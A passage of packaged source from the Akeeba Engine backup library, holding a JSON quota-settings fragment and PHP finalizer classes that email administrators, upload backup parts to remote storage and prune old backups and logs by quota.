        "enumkeys": "COM_AKEEBA_CONFIG_LOGFILES_TYPE_SIZE|COM_AKEEBA_CONFIG_LOGFILES_TYPE_COUNT|COM_AKEEBA_CONFIG_LOGFILES_TYPE_DAYS",
        "enumvalues": "size|count|days",
        "title": "COM_AKEEBA_CONFIG_LOGFILES_TYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGFILES_TYPE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1"
    },
    "akeeba.quota.logfiles.count": {
        "default": "3",
        "type": "integer",
        "min": "0",
        "max": "10000",
        "shortcuts": "1|3|7|10|30|100",
        "scale": "1",
        "title": "COM_AKEEBA_CONFIG_LOGFILES_COUNT_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGFILES_COUNT_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:count"
    },
    "akeeba.quota.logfiles.size": {
        "default": "10485760",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "Mb",
        "title": "COM_AKEEBA_CONFIG_LOGFILES_SIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGFILES_SIZE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:size"
    },
    "akeeba.quota.logfiles.days": {
        "default": "30",
        "type": "integer",
        "min": "1",
        "max": "365",
        "shortcuts": "31|60|182|365",
        "scale": "1",
        "uom": "days",
        "title": "COM_AKEEBA_CONFIG_LOGFILES_DAYS_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGFILES_DAYS_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:days"
    },
    "akeeba.quota.enable_size_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.size_quota": {
        "default": "15728640",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.size_quota:1"
    },
    "akeeba.quota.enable_count_quota": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_COUNTQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.count_quota": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "200",
        "shortcuts": "1|5|10|50|100|200",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_COUNTQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.enable_count_quota:1"
    },
    "akeeba.quota.remotely.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_count_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_size_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    }
}PK     \uP#  #  H  vendor/akeeba/engine/engine/Core/Domain/Finalizer/MailAdministrators.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Sends an email to the site administrators on backup completion
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class MailAdministrators extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Processing emails to administrators');
		$this->setSubstep('');

		$platform = Platform::getInstance();

		// Skip email for back-end backups
		if ($platform->get_backup_origin() == 'backend')
		{
			return true;
		}

		// Is the feature enabled?
		if ($platform->get_platform_configuration_option('frontend_email_on_finish', 0) == 0)
		{
			return true;
		}

		Factory::getLog()->debug("Preparing to send e-mail to administrators");

        $emails = $this->getEmailAddresses();

		if (empty($emails))
		{
			Factory::getLog()->debug("No email recipients found! Skipping email.");

			return true;
		}

		Factory::getLog()->debug("Creating email subject and body");

		// Get the statistics
		$statistics    = Factory::getStatistics();
		$profileNumber = $platform->get_active_profile();

		$db    = Factory::getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))->select('1');
		$dummy = $db->setQuery($query)->loadResult();

		$profileName   = $platform->get_profile_name($profileNumber);
		$statsRecord   = $statistics->getRecord();
		$partsCount    = max(1, $statsRecord['multipart']);
		$allFilenames  = $this->getPartFilenames($statsRecord);
		$filesList     = implode(
			"\n", array_map(function ($file) {
				return "\t" . $file;
			}, $allFilenames)
		);
		$totalSize     = (int) ($statsRecord['total_size'] ?? 0);

		// Get the approximate part sizes and create a list of files and sizes
		$configuration     = Factory::getConfiguration();
		$partSize          = $configuration->get('engine.archiver.common.part_size', 0);
		$lastPartSize      = $totalSize - (($partsCount - 1) * $partSize);
		$partSizes         = array_fill(0, $partsCount - 1, $partSize);
		$partSizes[]       = $lastPartSize;
		$filesAndSizesList = implode(
			"\n",
			array_map(
				function ($file, $size) {
					return sprintf(
						"\t%s (approx. %s)",
						$file,
						$this->formatByteSize($size)
					);
				},
				$allFilenames,
				$partSizes
			)
		);

		// Determine the upload to remote storage status
		$remoteStatus   = '';
		$failedUpdate   = false;
		$postProcEngine = Factory::getConfiguration()->get('akeeba.advanced.postproc_engine');

		if (!empty($postProcEngine) && ($postProcEngine != 'none'))
		{
			$remoteStatus = $platform->translate('COM_AKEEBA_EMAIL_POSTPROCESSING_SUCCESS');

			if (empty($statsRecord['remote_filename']))
			{
				$failedUpdate = true;
				$remoteStatus = $platform->translate('COM_AKEEBA_EMAIL_POSTPROCESSING_FAILED');
			}
		}

		// Did the user ask to be emailed only on failed uploads but the upload has succeeded?
		if (
			!$failedUpdate
			&& ($platform->get_platform_configuration_option('frontend_email_when', 'always') == 'failedupload')
		)
		{
			return true;
		}

		// Fetch user's preferences
		$subject = trim($platform->get_platform_configuration_option('frontend_email_subject', ''));
		$body    = trim($platform->get_platform_configuration_option('frontend_email_body', ''));

		// Get a default subject or post-process a manually defined subject
		$subject = empty($subject)
			? $platform->translate('COM_AKEEBA_COMMON_EMAIL_SUBJECT_OK')
			: Factory::getFilesystemTools()->replace_archive_name_variables($subject);

		// Do we need a default body?
		if (empty($body))
		{
			$body = $platform->translate('COM_AKEEBA_COMMON_EMAIL_BODY_OK');
			$body .= "\n\n";
			$body .= sprintf(
				$platform->translate('COM_AKEEBA_COMMON_EMAIL_BODY_INFO'),
				$profileNumber,
				$partsCount
			);
			$body .= "\n\n";
			$body .= $filesAndSizesList;
		}
		else
		{
			// Post-process the body
			$body = Factory::getFilesystemTools()->replace_archive_name_variables($body);
			$body = str_replace('[PROFILENUMBER]', $profileNumber, $body);
			$body = str_replace('[PROFILENAME]', $profileName, $body);
			$body = str_replace('[PARTCOUNT]', $partsCount, $body);
			$body = str_replace('[FILELIST]', $filesList, $body);
			$body = str_replace('[FILESIZESLIST]', $filesAndSizesList, $body);
			$body = str_replace('[REMOTESTATUS]', $remoteStatus, $body);
			$body = str_replace('[TOTALSIZE]', $this->formatByteSize($totalSize), $body);
		}

		// Post-process the subject (support the [REMOTESTATUS] variable)
		$subject = str_replace('[REMOTESTATUS]', $remoteStatus, $subject);

		// Sometimes $body contains literal \n instead of newlines
		$body = str_replace('\\n', "\n", $body);

		foreach ($emails as $email)
		{
			Factory::getLog()->debug("Sending email to $email");
			try
			{
				$platform->send_email($email, $subject, $body);
			}
			catch (\Exception $e)
			{
				// Don't cry if we cannot send an email; just log it as a warning
				Factory::getLog()->warning(
					sprintf(
						'Cannot send email to ‘%s’. Error message: “%s”',
						$email,
						$e->getMessage()
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns a list of files' base names for the given backup statistics record
	 *
	 * @param   array  $statsRecord  The statistics record
	 *
	 * @return  array  List of file names
	 *
	 * @since   9.3.1
	 */
	private function getPartFilenames(array $statsRecord): array
	{
		$baseFile = basename(
			$statsRecord['absolute_path'] ?? $statsRecord['archivename'] ?? $statsRecord['remote_filename'] ?? ''
		);

		if (empty($baseFile))
		{
			return [];
		}

		$partsCount = max($statsRecord['multipart'] ?? 1, 1);

		if ($partsCount === 1)
		{
			return [$baseFile];
		}

		$ret       = [];
		$extension = substr($baseFile, strrpos($baseFile, '.'));
		$bareName  = basename($baseFile, $extension);

		for ($i = 1; $i < $partsCount; $i++)
		{
			$ret[] = $bareName . substr($extension, 0, 2) . sprintf('%02d', $i);
		}

		$ret[] = $baseFile;

		return $ret;
	}

	/**
	 * Formats a number of bytes in human-readable format
	 *
	 * @param   int|float  $size  The size in bytes to format, e.g. 8254862
	 *
	 * @return  string  The human-readable representation of the byte size, e.g. "7.87 Mb"
	 * @since   9.3.1
	 */
	private function formatByteSize($size): string
	{
		$unit = ['b', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB'];

		return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
	}

	/**
	 * Get the addresses to send emails to.
	 *
	 * @return  array
	 * @since   9.4.9
	 */
    private function getEmailAddresses(): array
    {
        $platform      = Platform::getInstance();
        $configuration = Factory::getConfiguration();

        // Check if we have a list of emails saved inside the profile
        $email = trim($configuration->get('akeeba.basic.email_recipients', '') ?? '');

        if (!empty($email))
        {
            Factory::getLog()->debug("Using list of emails stored inside profile configuration");

	        $list = array_map(
				function ($x) {
					return trim ($x ?? '');
				},
		        explode(',', $email)
	        );

	        $list = array_filter(
		        $list,
		        function ($x)
		        {
					return !empty($x);
		        }
	        );

			if (!empty($list))
			{
				return $list;
			}
        }

        $email = trim($platform->get_platform_configuration_option('frontend_email_address', '') ?? '');

        if (!empty($email))
        {
            Factory::getLog()->debug("Using pre-defined list of emails");

	        $list = array_map(
		        function ($x) {
			        return trim ($x ?? '');
		        },
		        explode(',', $email)
	        );

	        $list = array_filter(
		        $list,
		        function ($x)
		        {
			        return !empty($x);
		        }
	        );

	        if (!empty($list))
	        {
		        return $list;
	        }
        }

        Factory::getLog()->debug("Fetching list of site administrator emails");

        return $platform->get_administrator_emails();
    }
}PK     \[=y&  &  D  vendor/akeeba/engine/engine/Core/Domain/Finalizer/PostProcessing.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Base;
use Akeeba\Engine\Postproc\PostProcInterface;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Performs any necessary post-processing (remote file uploading) still pending.
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class PostProcessing extends AbstractFinalizer
{
	/** @var array A list of all backup parts to process */
	private $backupParts = [];

	/** @var int The backup part we are currently processing */
	private $backupPartsIndex = -1;

	/** @var int How many finalisation substeps I have already done */
	private $subStepsDone = 0;

	/** @var int How many finalisation substeps I have in total */
	private $subStepsTotal = 0;

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Post-processing');
		$this->setSubstep('');

		// Do not run if the archive engine doesn't produce archives
		$configuration       = Factory::getConfiguration();
		$engineName          = $configuration->get('akeeba.advanced.postproc_engine');
		$shouldAbortOnFailed = $configuration->get('engine.postproc.common.abort_on_fail', false);

		Factory::getLog()->debug("Loading post-processing engine object ($engineName)");

		$postProcEngine = Factory::getPostprocEngine($engineName);

		if (!is_object($postProcEngine) || !($postProcEngine instanceof Base))
		{
			Factory::getLog()->debug(
				sprintf(
					'Post-processing engine “%s” not found.',
					$engineName
				)
			);
			Factory::getLog()->debug("The post-processing engine has either been removed or you are trying to use a profile created with the Professional version of the backup software in the Core version which doesn't have this post-processing engine.");

			return true;
		}

		// Initialize the archive part list if required
		if (empty($this->backupParts))
		{
			$ret = $this->initialiseBackupParts($postProcEngine);

			if ($ret !== null)
			{
				return $ret;
			}
		}

		// Make sure we don't accidentally break the step when not required to do so
		$configuration->set('volatile.breakflag', false);

		// Do we have a filename from the previous run of the post-proc engine?
		$filename = $configuration->get('volatile.postproc.filename', null);

		if (empty($filename))
		{
			$filename = $this->backupParts[$this->backupPartsIndex];
			Factory::getLog()->info('Beginning post processing file ' . $filename);
		}
		else
		{
			Factory::getLog()->info('Continuing post processing file ' . $filename);
		}

		$this->setStep('Post-processing');
		$this->setSubstep(basename($filename));
		$timer               = Factory::getTimer();
		$startTime           = $timer->getRunningTime();
		$processingException = null;

		try
		{
			$finishedProcessing = $postProcEngine->processPart($filename);
		}
		catch (Exception $e)
		{
			$finishedProcessing  = false;
			$processingException = $e;
		}

		if (!is_null($processingException))
		{
			Factory::getLog()->warning('Failed to process file ' . $filename);
			Factory::getLog()->warning('Error received from the post-processing engine:');

			$this->logErrorsFromException($processingException, $shouldAbortOnFailed ? LogLevel::ERROR : LogLevel::WARNING);

			if ($shouldAbortOnFailed)
			{
				throw new ErrorException(sprintf('Failed to process backup archive file %s', basename($filename)));
			}
		}
		elseif ($finishedProcessing === true)
		{
			// The post-processing of this file ended successfully
			Factory::getLog()->info('Finished post-processing file ' . $filename);
			$configuration->set('volatile.postproc.filename', null);
		}
		else
		{
			// More work required
			Factory::getLog()->info('More post-processing steps required for file ' . $filename);
			$configuration->set('volatile.postproc.filename', $filename);

			// Do we need to break the step?
			$endTime  = $timer->getRunningTime();
			$stepTime = $endTime - $startTime;
			$timeLeft = $timer->getTimeLeft();

			// By default, we assume that we have enough time to run yet another step
			$configuration->set('volatile.breakflag', false);

			/**
			 * However, if the last step took longer than the time we already have left on the timer we can predict
			 * that we are running out of time, therefore we need to break the step.
			 */
			if ($timeLeft < $stepTime)
			{
				$configuration->set('volatile.breakflag', true);
			}
		}

		// Should we delete the file afterwards?
		$canAndShouldDeleteFileAfterwards =
			$configuration->get('engine.postproc.common.delete_after', false)
			&& $postProcEngine->isFileDeletionAfterProcessingAdvisable();

		if ($canAndShouldDeleteFileAfterwards && $finishedProcessing)
		{
			Factory::getLog()->debug('Deleting already processed file ' . $filename);
			Platform::getInstance()->unlink($filename);
		}
		elseif ($canAndShouldDeleteFileAfterwards && !$finishedProcessing)
		{
			Factory::getLog()->debug('Not removing the non-processed file ' . $filename);
		}
		else
		{
			Factory::getLog()->debug('Not removing processed file ' . $filename);
		}

		if ($finishedProcessing === true)
		{
			// Move the index forward if the part finished processing
			$this->backupPartsIndex++;

			// Mark substep done
			$this->subStepsDone++;

			// Break step after processing?
			if (
				$postProcEngine->recommendsBreakAfter()
				&& !Factory::getConfiguration()->get('akeeba.tuning.nobreak.finalization', 0)
			)
			{
				$configuration->set('volatile.breakflag', true);
			}

			// If we just finished processing the first archive part, save its remote path in the statistics.
			if (($this->subStepsDone == 1) || ($this->subStepsTotal == 0))
			{
				$this->updateStatistics($postProcEngine, $engineName);
			}

			// Are we past the end of the array (i.e. we're finished)?
			if ($this->backupPartsIndex >= count($this->backupParts))
			{
				Factory::getLog()->info('Post-processing has finished for all files');

				return true;
			}
		}

		if (!is_null($processingException))
		{
			// If the post-processing failed, make sure we don't process anything else
			$this->backupPartsIndex = count($this->backupParts);
			Factory::getLog()->warning('Post-processing interrupted -- no more files will be transferred');

			return true;
		}

		// Indicate we're not done yet
		return false;
	}

	/**
	 * Update the backup record upon post-processing the first part.
	 *
	 * @param   PostProcInterface  $postProcEngine  The post-processing engine we're using
	 * @param   string             $engineName      The name of the post-processing engine we're using
	 *
	 * @throws  Exception
	 * @since   9.3.1
	 */
	public function updateStatistics(PostProcInterface $postProcEngine, string $engineName): void
	{
		if (empty($postProcEngine->getRemotePath()))
		{
			return;
		}

		$configuration   = Factory::getConfiguration();
		$statistics      = Factory::getStatistics();
		$remote_filename = $engineName . '://';
		$remote_filename .= $postProcEngine->getRemotePath();
		$data            = [
			'remote_filename' => $remote_filename,
		];
		$remove_after    = $configuration->get('engine.postproc.common.delete_after', false);

		if ($remove_after)
		{
			$data['filesexist'] = 0;
		}

		$statistics->setStatistics($data);
	}

	/**
	 * Initialise the backup parts information
	 *
	 * @param   PostProcInterface  $postProcEngine  The post-processing engine we're using
	 *
	 * @return  bool|null
	 *
	 * @since   9.3.1
	 */
	private function initialiseBackupParts(PostProcInterface $postProcEngine): ?bool
	{
		$configuration = Factory::getConfiguration();

		Factory::getLog()->info('Initializing post-processing engine');

		// Initialize the flag for multistep post-processing of parts
		$configuration->set('volatile.postproc.filename', null);
		$configuration->set('volatile.postproc.directory', null);

		// Populate array w/ absolute names of backup parts
		$statistics        = Factory::getStatistics();
		$stat              = $statistics->getRecord();
		$this->backupParts = Factory::getStatistics()->get_all_filenames($stat, false);

		if (is_null($this->backupParts))
		{
			// No archive produced, or they are all already post-processed
			Factory::getLog()->info('No archive files found to post-process');

			return true;
		}

		Factory::getLog()->debug(count($this->backupParts) . ' files to process found');

		$this->subStepsTotal = count($this->backupParts);
		$this->subStepsDone  = 0;

		$this->backupPartsIndex = 0;

		// If we have an empty array, do not run
		if (empty($this->backupParts))
		{
			return true;
		}

		// Break step before processing?
		if (
			$postProcEngine->recommendsBreakBefore()
			&& !$configuration->get(
				'akeeba.tuning.nobreak.finalization', 0
			)
		)
		{
			Factory::getLog()->debug('Breaking step before post-processing run');
			$configuration->set('volatile.breakflag', true);

			return false;
		}

		return null;
	}
}PK     \^^  ^  B  vendor/akeeba/engine/engine/Core/Domain/Finalizer/RemoteQuotas.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;

class RemoteQuotas extends AbstractQuotaManagement
{
	/** @inheritDoc */
	public function __construct(Finalization $finalizationPart)
	{
		$this->quotaType = 'remote';

		$this->configKeys = [
			'maxAgeEnable' => 'akeeba.quota.remotely.maxage.enable',
			'maxAgeDays'   => 'akeeba.quota.remotely.maxage.maxdays',
			'maxAgeKeep'   => 'akeeba.quota.remotely.maxage.keepday',
			'countEnable'  => 'akeeba.quota.remotely.enable_count_quota',
			'countValue'   => 'akeeba.quota.remotely.count_quota',
			'sizeEnable'   => 'akeeba.quota.remotely.enable_size_quota',
			'sizeValue'    => 'akeeba.quota.remotely.size_quota',
		];

		parent::__construct($finalizationPart);
	}

	/** @inheritDoc */
	protected function getAllRecords(): array
	{
		$configuration = Factory::getConfiguration();
		$useLatest = $configuration->get('akeeba.quota.remote_latest', '1') == 1;

		// Get all records with a remote filename and filter out the current record and frozen records
		$allRecords = array_filter(
			Platform::getInstance()->get_valid_remote_records() ?: [],
			function (array $stat) use ($useLatest): bool {
				// Exclude frozen records from quota management
				if (isset($stat['frozen']) && $stat['frozen'])
				{
					Factory::getLog()->debug(
						sprintf(
							'Excluding frozen backup id %d from %s quota management',
							$stat['id'],
							$this->quotaType
						)
					);

					return false;
				}

				// Exclude the current record from the remote quota management
				return $useLatest ? true : ($stat['id'] != $this->latestBackupId);
			}
		);

		// Convert stat records to entries used in quota management
		return array_map(
			function (array $stat): array {
				$remoteFilenames = $this->getRemoteFiles($stat['remote_filename'], $stat['multipart']);

				try
				{
					$backupStart = new DateTime($stat['backupstart']);
					$backupTS    = $backupStart->format('U');
					$backupDay   = $backupStart->format('d');
				}
				catch (Exception $e)
				{
					$backupTS  = 0;
					$backupDay = 0;
				}

				// Get the log file name
				$tag      = $stat['tag'] ?? 'backend';
				$backupId = $stat['backupid'] ?? '';
				$logName  = '';

				if (!empty($backupId))
				{
					$logName = 'akeeba.' . $tag . '.' . $backupId . '.log.php';
				}

				return [
					'id'            => $stat['id'],
					'filenames'     => $remoteFilenames,
					'size'          => $stat['total_size'],
					'backupstart'   => $backupTS,
					'day'           => $backupDay,
					'logname'       => $logName,
					'absolute_path' => $stat['absolute_path'],
				];
			},
			$allRecords
		);
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool
	{
		$timer = Factory::getTimer();

		// Update the statistics record with the removed remote files
		if (!empty($removeBackupIDs))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: updating backup records',
					$this->quotaType
				)
			);
		}

		while (!empty($removeBackupIDs) && $timer->getTimeLeft() > 0)
		{
			$id   = array_shift($removeBackupIDs);
			$data = ['remote_filename' => ''];

			Platform::getInstance()->set_or_update_statistics($id, $data);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas upon backup records
		if (!empty($filesToRemove) > 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing backup archives',
					$this->quotaType
				)
			);
		}

		while (!empty($filesToRemove) && $timer->getTimeLeft() > 0)
		{
			$filename = array_shift($filesToRemove);
			[$engineName, $path] = explode('://', $filename);
			$engine = Factory::getPostprocEngine($engineName);

			if (!$engine->supportsDelete())
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Removing remotely stored file %s',
					$filename
				)
			);

			try
			{
				$engine->delete($path);
			}
			catch (Exception $e)
			{
				Factory::getLog()->debug(
					sprintf(
						'Could not remove remotely stored file. Error: %s',
						$e->getMessage()
					)
				);
			}
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas to log files
		if (!empty($removeLogPaths))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing obsolete log files',
					$this->quotaType
				)
			);
			Factory::getLog()->debug('Removing obsolete log files');
		}

		while (!empty($removeLogPaths) && $timer->getTimeLeft() > 0)
		{
			$logPath = array_shift($removeLogPaths);

			if (@Platform::getInstance()->unlink($logPath))
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Failed to remove old log file %s',
					$logPath
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		return true;
	}

	/**
	 * Get the full paths to all remote backup parts
	 *
	 * @param   string  $filename   The full filename of the last part stored in the database
	 * @param   int     $multipart  How many parts does this archive consist of?
	 *
	 * @return  array  A list of the full paths of all remotely stored backup archive parts
	 * @since   9.3.1
	 */
	private function getRemoteFiles(string $filename, int $multipart): array
	{
		$result = [];

		$extension       = substr($filename, -3);
		$base            = substr($filename, 0, -4);
		$extensionPrefix = substr($extension, 0, 1);
		$result[]        = $filename;

		if ($multipart <= 1)
		{
			return $result;
		}

		for ($i = 1; $i < $multipart; $i++)
		{
			$newExt   = $extensionPrefix . sprintf('%02u', $i);
			$result[] = $base . '.' . $newExt;
		}

		return $result;
	}

}PK     \7  7  M  vendor/akeeba/engine/engine/Core/Domain/Finalizer/AbstractQuotaManagement.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use DateTime;
use Exception;

abstract class AbstractQuotaManagement extends AbstractFinalizer
{
	/**
	 * Abstraction for the engine configuration keys used in the concrete quota management class.
	 *
	 * @since 9.3.1
	 * @var   string[]
	 */
	protected $configKeys = [
		'maxAgeEnable' => 'akeeba.quota.maxage.enable',
		'maxAgeDays'   => 'akeeba.quota.maxage.maxdays',
		'maxAgeKeep'   => 'akeeba.quota.maxage.keepday',
		'countEnable'  => 'akeeba.quota.enable_count_quota',
		'countValue'   => 'akeeba.quota.count_quota',
		'sizeEnable'   => 'akeeba.quota.enable_size_quota',
		'sizeValue'    => 'akeeba.quota.size_quota',
	];

	/**
	 * The ID of the latest backup (the one we are running in right now)
	 *
	 * @since 9.3.1
	 * @var   int
	 */
	protected $latestBackupId;

	/**
	 * Human-readable quote type e.g. 'local', 'remote', etc. for the concrete quota management class.
	 *
	 * @since 9.3.1
	 * @var   string
	 */
	protected $quotaType = 'local';

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep(
			sprintf(
				'Applying %s quotas',
				$this->quotaType
			)
		);
		$this->setSubstep('');

		// If no quota settings are enabled, quit
		$configuration  = Factory::getConfiguration();
		$timer          = Factory::getTimer();
		$useDayQuotas   = $configuration->get($this->configKeys['maxAgeEnable']);
		$useCountQuotas = $configuration->get($this->configKeys['countEnable']);
		$useSizeQuotas  = $configuration->get($this->configKeys['sizeEnable']);

		if (!($useDayQuotas || $useCountQuotas || $useSizeQuotas))
		{
			Factory::getLog()->debug(
				sprintf(
					'No %s quotas were defined; old backup files will be kept intact',
					$this->quotaType
				)
			);

			return true;
		}

		// Get the latest backup ID
		$statistics           = Factory::getStatistics();
		$this->latestBackupId = $statistics->getId();

		// Try to load the calculated quotas from the volatile keys
		$keyIsCalculated    = sprintf('volatile.quotas.%s.calculated', $this->quotaType);
		$keyRemoveBackupIDs = sprintf('volatile.quotas.%s.removeBackupIDs', $this->quotaType);
		$keyRemoveLogPaths  = sprintf('volatile.quotas.%s.removeLogPaths', $this->quotaType);
		$keyFilesToRemove   = sprintf('volatile.quotas.%s.filesToRemove', $this->quotaType);

		$isCalculated    = $configuration->get($keyIsCalculated, false);
		$removeBackupIDs = $configuration->get($keyRemoveBackupIDs, []);
		$removeLogPaths  = $configuration->get($keyRemoveLogPaths, []);
		$filesToRemove   = $configuration->get($keyFilesToRemove, []);

		// Calculate the quotas if nothing was calculated just yet.
		if (!$isCalculated)
		{
			// Calculate the quotas. If nothing is found, return immediately.
			if ($this->calculateQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $filesToRemove) === false)
			{
				return true;
			}

			$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

			// Do I have enough time to process removals?
			if ($timer->getTimeLeft() <= 0)
			{
				return false;
			}
		}

		// Process a chunk of removals
		if (!$this->processRemovals($removeBackupIDs, $filesToRemove, $removeLogPaths))
		{
